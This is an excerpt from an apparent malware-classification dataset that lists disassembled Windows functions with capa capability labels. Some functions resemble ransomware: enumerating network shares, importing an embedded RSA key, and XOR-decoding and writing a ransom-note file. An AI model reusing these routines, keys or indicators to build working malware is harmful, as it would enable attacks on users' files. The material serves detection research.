joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140023830
Capabilities:
Create thread
Enumerate network shares

Disassembly:
mov dword [rsp + 0x10], edx
push rbx
push rdi
sub rsp, 0x48
xor edi, edi
lea rax, [rsp + 0x30]
mov ebx, edx
mov qword [rsp + 0x30], rdi
mov r9, rcx
mov qword [rsp + 0x20], rax
xor r8d, r8d
xor edx, edx
lea ecx, [rdi + 2]
call qword [sym.imp.MPR.dll_WNetOpenEnumW]
test eax, eax
jne 0x140023a47
mov edx, 0xbb80
mov qword [rsp + 0x60], rbp
lea ecx, [rdi + 0x40]
mov dword [rsp + 0x70], 0x3e8
mov dword [rsp + 0x78], 0xbb80
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rcx, qword [rsp + 0x30]
lea r9, [rsp + 0x78]
mov r8, rax
lea rdx, [rsp + 0x70]
mov rbp, rax
call qword [sym.imp.MPR.dll_WNetEnumResourceW]
test eax, eax
jne 0x140023a39
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.MPR.dll_WNetCloseEnum]
mov edx, 0x400
mov qword [rsp + 0x30], rdi
lea ecx, [rdi + 0x40]
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov qword [rsp + 0x38], rax
cmp dword [rsp + 0x70], edi
jbe 0x140023a1d
mov qword [rsp + 0x40], rsi
nop
mov ecx, edi
lea rdx, [rcx + rcx*2]
add rdx, rdx
lea rsi, [rdx*8]
add rsi, rbp
cmp qword [rsi + 0x18], 0
je 0x140023a07
cmp dword [rbp + rdx*8 + 8], 3
je 0x140023917
mov eax, dword [rsi + 8]
cmp eax, 9
je 0x140023917
cmp eax, 4
jne 0x1400239f7
mov edx, 0x104
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
xor edx, edx
mov r8d, 0x104
mov rcx, rax
mov rbx, rax
call fcn.140002350
mov rdx, qword [rsi + 0x18]
mov rcx, rbx
mov r8d, 2
nop word [rax + rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
lea rdx, [rdx + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rdx - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rdx - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rdx - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rdx - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rdx - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rdx - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rdx - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub r8, 1
jne 0x140023950
mov eax, dword [rdx]
mov dword [rcx], eax
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
lea r8, [0x1400236a0]
mov qword [rsp + 0x28], rax
mov r9, rbx
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x3e8
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [rsp + 0x68]
cmp ebx, 2
jge 0x140023a07
lea edx, [rbx + 1]
mov rcx, rsi
call fcn.140023830
inc edi
cmp edi, dword [rsp + 0x70]
jb 0x1400238e0
mov rax, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
test rax, rax
je 0x140023a2b
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalFree]
test rbp, rbp
je 0x140023a39
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GlobalFree]
xor eax, eax
mov rbp, qword [rsp + 0x60]
add rsp, 0x48
pop rdi
pop rbx
ret
xor eax, eax
add rsp, 0x48
pop rdi
pop rbx
ret
Function at 0x140023ac0
Capabilities:
Import public key

Disassembly:
sub rsp, 0x48
movsxd r8, dword [0x140045390]
lea rdx, str._____BEGIN_PUBLIC_KEY______MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC9zIlQBYcDk8jIo9VWZ737nF_C_fDkksZiq7LuNhgDQ97TiyP32LF9NFBplfVumvVihFEe0LJrVQMo0KuzDUvPNdr_XwH6cpruOVLAdMGmZ2tvnlxTVZ0lerM01kj2P1O6nY0BopPeDkrE3TMn9e1y_78k1dZIk0V1gML7kUwIDAQAB______END_PUBLIC_KEY_____
lea rcx, [0x140044690]
call fcn.140001cb0
lea rax, [0x140042b50]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
lea r9, [0x140043e90]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor edx, edx
lea rcx, [0x140044690]
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
je 0x140023baa
mov r9d, dword [0x140042b50]
lea rax, [0x140044ef8]
mov qword [rsp + 0x38], rax
lea r8, [0x140043e90]
mov edx, 8
lea rax, [0x140044f20]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x8000
lea ecx, [rdx - 7]
call qword [sym.imp.CRYPT32.dll_CryptDecodeObjectEx]
test eax, eax
je 0x140023baa
mov r9d, 1
mov dword [rsp + 0x20], 0xf0000000
xor r8d, r8d
lea rcx, [0x140044ea0]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x140023baa
mov r8, qword [0x140044f20]
lea r9, [0x140044e90]
mov rcx, qword [0x140044ea0]
mov edx, 1
call qword [sym.imp.CRYPT32.dll_CryptImportPublicKeyInfo]
xor eax, eax
add rsp, 0x48
ret
Function at 0x1400361a0
Capabilities:
Encode data using xor
Extract resource via kernel32 functions
Write file on windows

Disassembly:
push rbx
push r14
sub rsp, 0x48
mov rbx, rcx
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_SetErrorMode]
mov r8, rbx
lea rdx, str._sAAA_READ_AAA.TXT
lea rcx, [0x140044f30]
call qword [sym.imp.USER32.dll_wsprintfW]
xor r14d, r14d
lea rcx, [0x140044f30]
mov qword [rsp + 0x30], r14
xor r9d, r9d
mov dword [rsp + 0x28], r14d
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
lea r8d, [r14 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x140036212
mov rcx, rax
add rsp, 0x48
pop r14
pop rbx
jmp qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rsp + 0x60], rbp
xor ecx, ecx
mov qword [rsp + 0x70], rsi
mov qword [rsp + 0x40], rdi
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
lea r8, str.ID_666_GO
mov edx, 0x9aaa
mov rcx, rax
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rdx, rax
mov rcx, rsi
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdx, rbx
mov rcx, rsi
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov edx, eax
mov ecx, 0x40
mov esi, eax
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov r8d, esi
mov rdx, rdi
mov rcx, rax
mov rbp, rax
call fcn.140001cb0
mov rdi, qword [rsp + 0x40]
mov r8d, r14d
test esi, esi
je 0x1400362d4
mov r9, rbp
lea r10, str.Kfiwer239324kfsdfKLFdsfoewfkdslfOOFEWFKDSL6666666FLDSFjiewqokffewfwgewgGKUJFHGdwsieflkdsKLFdsfoewfkdslfOOFEWFKDSL66
nop
mov eax, 0x29e4129f
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
mov ecx, r8d
sub eax, edx
inc r8d
shr eax, 1
add eax, edx
shr eax, 5
imul eax, eax, 0x37
sub ecx, eax
movsxd rax, ecx
movzx eax, byte [rax + r10]
xor byte [r9 - 1], al
cmp r8d, esi
jb 0x1400362a0
xor r9d, r9d
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80
lea rcx, [0x140044f30]
mov edx, 0x40000000
mov dword [rsp + 0x68], r14d
mov dword [rsp + 0x20], 2
lea r8d, [r9 + 2]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140036332
lea r9, [rsp + 0x68]
mov qword [rsp + 0x20], r14
mov r8d, esi
mov rdx, rbp
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GlobalFree]
mov rsi, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x60]
add rsp, 0x48
pop r14
pop rbx
ret
Function at 0x140009160
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x428
mov r15d, dword [rdx + 0x58]
lea r12d, [r15 - 1]
cmp r12, r9
jae 0x14000928c
mov rdi, r9
mov r14, r8
mov rbx, rdx
mov rsi, rcx
mov rdx, r12
shl rdx, 0xa
add rdx, r8
lea rcx, [rsp + 0x28]
mov r8d, 0x400
call fcn.140055d00
mov eax, dword [rbx + 0x44]
cmp rax, 2
jb 0x14000926c
add r14, 0x30
lea ecx, [r15*2 - 1]
mov edx, 1
nop word cs:[rax + rax]
mov r8d, r15d
imul r8d, edx
add r8d, r12d
cmp r8, rdi
jae 0x14000928c
mov r8d, ecx
shl r8, 0xa
add r8, r14
inc rdx
xor r9d, r9d
nop word cs:[rax + rax]
movups xmm0, xmmword [r8 + r9*8 - 0x30]
movups xmm1, xmmword [r8 + r9*8 - 0x20]
movups xmm2, xmmword [rsp + r9*8 + 0x28]
xorps xmm2, xmm0
movups xmm0, xmmword [rsp + r9*8 + 0x38]
xorps xmm0, xmm1
movups xmm1, xmmword [rsp + r9*8 + 0x48]
movups xmm3, xmmword [rsp + r9*8 + 0x58]
movups xmmword [rsp + r9*8 + 0x28], xmm2
movups xmmword [rsp + r9*8 + 0x38], xmm0
movups xmm0, xmmword [r8 + r9*8 - 0x10]
xorps xmm0, xmm1
movups xmm1, xmmword [r8 + r9*8]
xorps xmm1, xmm3
movups xmmword [rsp + r9*8 + 0x48], xmm0
movups xmmword [rsp + r9*8 + 0x58], xmm1
add r9, 8
cmp r9, 0x80
jne 0x140009200
add ecx, r15d
cmp rdx, rax
jne 0x1400091d0
mov edi, dword [rbx + 0x40]
test rdi, rdi
je 0x14000928e
mov ecx, 8
mov rdx, rdi
call fcn.140025890
mov rcx, rax
mov rax, rdi
test rcx, rcx
jne 0x140009295
ud2
xor eax, eax
mov ecx, 1
mov qword [rsi], rax
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdi
lea r8, [rsp + 0x28]
mov r9d, 0x400
mov rdx, rdi
call fcn.1400078a0
nop
add rsp, 0x428
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
Function at 0x14003cdb0
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
push rbx
mov rax, rcx
add qword [rcx + 0x30], r8
mov r11, qword [rcx + 0x40]
test r11, r11
je 0x14003cdf2
mov r10d, 8
sub r10, r11
cmp r8, r10
mov rdi, r10
cmovb rdi, r8
cmp rdi, 4
jb 0x14003cdfa
mov esi, dword [rdx]
mov r9d, 4
mov rcx, r9
or rcx, 1
cmp rcx, rdi
jb 0x14003ce0b
jmp 0x14003ce22
xor r10d, r10d
jmp 0x14003cead
xor esi, esi
xor r9d, r9d
mov rcx, r9
or rcx, 1
cmp rcx, rdi
jae 0x14003ce22
movzx ebx, word [rdx + r9]
lea ecx, [r9*8]
shl rbx, cl
or rsi, rbx
or r9, 2
cmp r9, rdi
jae 0x14003ce39
movzx edi, byte [rdx + r9]
shl r9d, 3
mov ecx, r9d
shl rdi, cl
or rsi, rdi
lea ecx, [r11*8]
shl rsi, cl
or rsi, qword [rax + 0x38]
mov qword [rax + 0x38], rsi
cmp r10, r8
jbe 0x14003ce59
add r11, r8
jmp 0x14003cf8b
mov r11, qword [rax + 0x18]
mov r9, qword [rax + 0x10]
mov rcx, qword [rax]
add rcx, r9
rol r9, 0xd
xor r11, rsi
xor r9, rcx
rol rcx, 0x20
mov rdi, qword [rax + 8]
add rdi, r11
rol r11, 0x10
xor r11, rdi
add rcx, r11
rol r11, 0x15
xor r11, rcx
add rdi, r9
rol r9, 0x11
mov qword [rax + 0x18], r11
xor r9, rdi
rol rdi, 0x20
mov qword [rax + 0x10], r9
mov qword [rax + 8], rdi
xor rcx, rsi
mov qword [rax], rcx
sub r8, r10
mov r11d, r8d
and r11d, 7
and r8, 0xfffffffffffffff8
cmp r10, r8
jae 0x14003cf22
mov rcx, qword [rax]
mov r9, qword [rax + 8]
mov rdi, qword [rax + 0x18]
mov rsi, qword [rax + 0x10]
nop
add rcx, rsi
rol rsi, 0xd
mov rbx, qword [rdx + r10]
xor rsi, rcx
rol rcx, 0x20
xor rdi, rbx
add r9, rdi
rol rdi, 0x10
xor rdi, r9
add rcx, rdi
rol rdi, 0x15
add r9, rsi
rol rsi, 0x11
xor rsi, r9
rol r9, 0x20
xor rdi, rcx
xor rcx, rbx
add r10, 8
cmp r10, r8
jb 0x14003ced0
mov qword [rax + 0x18], rdi
mov qword [rax + 0x10], rsi
mov qword [rax + 8], r9
mov qword [rax], rcx
cmp r11d, 4
jb 0x14003cf40
mov r9d, dword [rdx + r10]
mov r8d, 4
mov rcx, r8
or rcx, 1
cmp rcx, r11
jb 0x14003cf52
jmp 0x14003cf6d
xor r9d, r9d
xor r8d, r8d
mov rcx, r8
or rcx, 1
cmp rcx, r11
jae 0x14003cf6d
lea rcx, [rdx + r8]
movzx esi, word [r10 + rcx]
lea ecx, [r8*8]
shl rsi, cl
or r9, rsi
or r8, 2
cmp r8, r11
jae 0x14003cf87
add r10, r8
movzx edx, byte [rdx + r10]
shl r8d, 3
mov ecx, r8d
shl rdx, cl
or r9, rdx
mov qword [rax + 0x38], r9
mov qword [rax + 0x40], r11
pop rbx
pop rdi
pop rsi
ret
Function at 0x140056ae0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x142804550]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140056b00
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140056b08
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140056b00
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140056b5d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140056b54
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140056b00
add rax, 0x28
cmp rax, r9
jne 0x140056b40
xor eax, eax
ret

Function at 0x140056b60
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x142804550]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140056b7f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140056b88
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140056b7f
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x140056c20
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x142804550]
xor edx, edx
cmp word [rax], 0x5a4d
jne 0x140056c3f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
je 0x140056c48
mov rax, rdx
ret
cmp word [rcx + 0x18], 0x20b
cmove rdx, rax
mov rax, rdx
ret
Function at 0x140001480
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x140005790]
mov dword [rax], 1
mov rax, qword [0x1400057a0]
mov dword [rax], 1
mov rax, qword [0x1400057b0]
mov dword [rax], 1
mov rax, qword [0x140005780]
mov dword [rax], 1
mov rax, qword [0x140005650]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400014de
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x14000150a
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x140001530
cmp eax, 0x20b
je 0x140001557
jmp 0x140001586
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x140001543
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x14000158b
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x140001572
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x14000158b
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x140001b80
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sym.__acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sym.fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sym.__acrt_iob_func
mov r8, rbx
mov rdx, qword [rbp + 0x20]
mov rcx, rax
call sym.vfprintf
call sym.abort
nop

Function at 0x1400027b2
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x14000a168]
test eax, eax
je 0x14000284a
lea rax, [0x14000a140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x14000a170]
mov qword [rbp - 8], rax
jmp 0x14000282e
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x140002822
cmp qword [rbp - 0x10], 0
je 0x140002822
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x1400027e8
lea rax, [0x14000a140]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x14000284b
nop
add rsp, 0x30
pop rbp
ret
Function at 0x180001000
Capabilities:
Encode data using xor

Disassembly:
mov eax, dword [rcx]
mov r11, rcx
mov dword [rsp + 0x10], eax
xor eax, eax
cmp edx, 4
jle 0x180001041
lea eax, [rdx - 4]
mov r9, r8
mov r10d, 4
mov edx, eax
sub r11, r8
mov rcx, r10
inc r10
lea r9, [r9 + 1]
and ecx, 3
movzx ecx, byte [rsp + rcx + 0x10]
xor cl, byte [r11 + r9 + 3]
mov byte [r9 - 1], cl
dec rdx
jne 0x180001021
movsxd rcx, eax
mov byte [rcx + r8], 0
ret
Function at 0x1800018e0
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
push rbx
sub rsp, 0x20
lea r8, str.MicroSoft.Sliverlight_5
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x180001936
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
lea ecx, [rdx + 1]
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
je 0x18000193b
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x18000193b
call fcn.180001050
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
lea ecx, [rdx + 1]
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
xor edx, edx
mov rcx, rax
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]
Function at 0x140011203
Capabilities:
Terminate process

Disassembly:
jmp 0x140013150
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14001128f
Capabilities:
Parse pe header

Disassembly:
jmp 0x1400144a0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x1400144c0
xor al, al
jmp 0x140014541
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x1400144d3
xor al, al
jmp 0x140014541
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x1400144fd
xor al, al
jmp 0x140014541
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014511
xor al, al
jmp 0x140014541
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014523
xor al, al
jmp 0x140014541
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x14001453f
xor al, al
jmp 0x140014541
mov al, 1
add rsp, 0x38
ret
Function at 0x1400010a0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
push r15
mov esi, r8d
mov rdi, rcx
xor eax, eax
mov rdx, rcx
nop dword [rax]
nop word [rax + rax]
mov byte [rdx], al
lea rdx, [rdx + 1]
inc eax
cmp eax, 0x100
jl 0x1400010d0
xor r11d, r11d
movzx ebp, sil
xor r8b, r8b
lea r14, [rcx + 0xff]
mov r10d, 0xff
lea r15, str.xfxiokwhsmdadhuorp
nop dword [rax]
xor ebx, ebx
mov r9d, 1
cmp r10d, r9d
jbe 0x140001120
nop dword [rax]
lea r9d, [r9*2 + 1]
cmp r9d, r10d
jb 0x140001110
nop dword [rax]
movzx ecx, r8b
movzx r8d, byte [rcx + rdi]
add r8b, byte [r11 + r15]
inc r11d
cmp r11d, ebp
jb 0x14000113b
xor r11d, r11d
add r8b, sil
movzx eax, r8b
inc ebx
and eax, r9d
cmp ebx, 0xb
jbe 0x140001150
xor edx, edx
div r10d
mov eax, edx
cmp eax, r10d
ja 0x140001120
movzx edx, byte [r14]
movzx ecx, al
movzx eax, byte [rcx + rdi]
mov byte [r14], al
dec r14
mov byte [rcx + rdi], dl
sub r10d, 1
jne 0x140001100
movzx eax, byte [rdi + 1]
mov rbx, qword [rsp + 0x18]
mov rbp, qword [rsp + 0x20]
mov rsi, qword [rsp + 0x28]
mov byte [rdi + 0x100], al
movzx eax, byte [rdi + 3]
mov byte [rdi + 0x101], al
movzx eax, byte [rdi + 5]
mov byte [rdi + 0x102], al
movzx eax, byte [rdi + 7]
mov byte [rdi + 0x103], al
movzx eax, r8b
movzx ecx, byte [rax + rdi]
mov rax, rdi
mov byte [rdi + 0x104], cl
mov rdi, qword [rsp + 0x30]
pop r15
pop r14
ret
Function at 0x1400011d0
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, r8
call fcn.140001420
test eax, eax
js 0x14000140e
mov eax, dword [rbx + 0xf0]
xor r10d, r10d
shl eax, 2
movsxd r9, eax
test eax, eax
jle 0x14000125d
lea r8, [rbx + 8]
lea r8, [r8 + r9*4]
lea rax, [rbx + 8]
nop word [rax + rax]
mov edx, dword [rax - 8]
add r10, 4
mov ecx, dword [r8 - 8]
lea r8, [r8 - 0x10]
mov dword [rax - 8], ecx
lea rax, [rax + 0x10]
mov ecx, dword [r8 + 0xc]
sub r9, 4
mov dword [r8 + 8], edx
mov edx, dword [rax - 0x14]
mov dword [rax - 0x14], ecx
mov ecx, dword [r8 + 0x10]
mov dword [r8 + 0xc], edx
mov edx, dword [rax - 0x10]
mov dword [rax - 0x10], ecx
mov ecx, dword [r8 + 0x14]
mov dword [r8 + 0x10], edx
mov edx, dword [rax - 0xc]
mov dword [rax - 0xc], ecx
mov dword [r8 + 0x14], edx
cmp r10, r9
jl 0x140001210
mov r11d, 1
cmp dword [rbx + 0xf0], r11d
jle 0x14000140c
mov qword [rsp + 0x30], rdi
lea r10, [rbx + 2]
lea rdi, [0x140000000]
mov r8d, dword [r10 + 0xe]
lea r10, [r10 + 0x10]
mov eax, r8d
inc r11d
shr rax, 0x18
movzx edx, byte [rdi + rax*4 + 0x62270]
movzx eax, byte [r10 - 1]
mov r9d, dword [rdi + rdx*4 + 0x61e70]
movzx ecx, byte [rdi + rax*4 + 0x62270]
movzx eax, r8b
xor r9d, dword [rdi + rcx*4 + 0x61670]
movzx ecx, byte [rdi + rax*4 + 0x62270]
movzx eax, byte [r10]
xor r9d, dword [rdi + rcx*4 + 0x61270]
movzx ecx, byte [rdi + rax*4 + 0x62270]
movzx eax, byte [r10 + 3]
xor r9d, dword [rdi + rcx*4 + 0x61a70]
movzx edx, byte [rdi + rax*4 + 0x62270]
movzx eax, byte [r10 + 4]
mov dword [r10 - 2], r9d
mov r9d, dword [r10 + 2]
mov r8d, dword [rdi + rdx*4 + 0x61670]
movzx ecx, byte [rdi + rax*4 + 0x62270]
mov eax, r9d
shr rax, 0x18
xor r8d, dword [rdi + rcx*4 + 0x61a70]
movzx ecx, byte [rdi + rax*4 + 0x62270]
movzx eax, r9b
mov r9d, dword [r10 + 6]
xor r8d, dword [rdi + rcx*4 + 0x61e70]
movzx ecx, byte [rdi + rax*4 + 0x62270]
movzx eax, byte [r10 + 7]
xor r8d, dword [rdi + rcx*4 + 0x61270]
movzx edx, byte [rdi + rax*4 + 0x62270]
movzx eax, byte [r10 + 8]
mov dword [r10 + 2], r8d
mov r8d, dword [rdi + rdx*4 + 0x61670]
movzx ecx, byte [rdi + rax*4 + 0x62270]
mov eax, r9d
shr rax, 0x18
xor r8d, dword [rdi + rcx*4 + 0x61a70]
movzx ecx, byte [rdi + rax*4 + 0x62270]
movzx eax, r9b
mov r9d, dword [r10 + 0xa]
xor r8d, dword [rdi + rcx*4 + 0x61e70]
movzx ecx, byte [rdi + rax*4 + 0x62270]
movzx eax, byte [r10 + 0xb]
xor r8d, dword [rdi + rcx*4 + 0x61270]
movzx edx, byte [rdi + rax*4 + 0x62270]
movzx eax, byte [r10 + 0xc]
mov dword [r10 + 6], r8d
mov r8d, dword [rdi + rdx*4 + 0x61670]
movzx ecx, byte [rdi + rax*4 + 0x62270]
mov eax, r9d
shr rax, 0x18
xor r8d, dword [rdi + rcx*4 + 0x61a70]
movzx ecx, byte [rdi + rax*4 + 0x62270]
movzx eax, r9b
xor r8d, dword [rdi + rcx*4 + 0x61e70]
movzx ecx, byte [rdi + rax*4 + 0x62270]
xor r8d, dword [rdi + rcx*4 + 0x61270]
mov dword [r10 + 0xa], r8d
cmp r11d, dword [rbx + 0xf0]
jl 0x140001280
mov rdi, qword [rsp + 0x30]
xor eax, eax
add rsp, 0x20
pop rbx
ret
Function at 0x140011e10
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov r8, rcx
or eax, 0xffffffff
movzx ecx, byte [rcx]
test cl, cl
je 0x140011eba
movzx edx, cl
lea r8, [r8 + 1]
xor eax, edx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
shr ecx, 1
and eax, 1
neg eax
and eax, 0xedb88320
xor eax, ecx
mov ecx, eax
shr eax, 1
and ecx, 1
neg ecx
and ecx, 0xedb88320
xor ecx, eax
mov eax, ecx
